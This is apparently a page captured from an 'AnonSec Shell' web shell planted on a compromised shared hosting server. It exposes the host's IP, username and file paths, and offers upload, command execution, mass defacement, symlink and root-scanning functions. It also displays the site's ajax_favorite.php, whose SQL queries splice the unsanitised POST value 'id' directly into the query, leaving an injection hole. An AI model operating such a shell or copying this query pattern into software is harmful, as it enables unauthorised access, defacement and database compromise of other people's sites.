AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/cp648411/public_html/simded.com/simsalmon/control/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cp648411/public_html/simded.com/simsalmon/control/include/ajax_favorite.php
<?php
$partclass = '../../';
include("../../control/classmain.php");

/*echo '<pre>';
print_r($_POST);
echo '</pre>';*/


$sql = ' AND mem_id ="'.$_SESSION["simDed_id"].'"';



$list = array('table'=>'favorites','count'=>'COUNT(id) AS  idcount','where'=>'phonenumber_id = "'.$_POST['id'].'"' . $sql );				  
$view = $view_db->view($list);
$row = $view_db->q($view);

if($row['idcount'] == 0)
{	
	
	$list = array(	
			'table'=>'favorites',
			'mem_id'=>"'".$_SESSION["simDed_id"]."'",
			'phonenumber_id'=>"'".$_POST['id']."'",
			
	);			  
	$add = $actiondata_db->add_db($list);
	
	
	$list = array('table'=>'favorites','count'=>'COUNT(id) AS  idcount','where'=>'mem_id ="'.$_SESSION["simDed_id"].'"' );				  
	$view = $view_db->view($list);
	$row = $view_db->q($view);
	echo $row['idcount'];
	
}
else
{
	echo 'false';	
}
/*echo '<pre>';
print_r($add);
echo '</pre>';*/
?>

Anon7 - 2022
AnonSec Team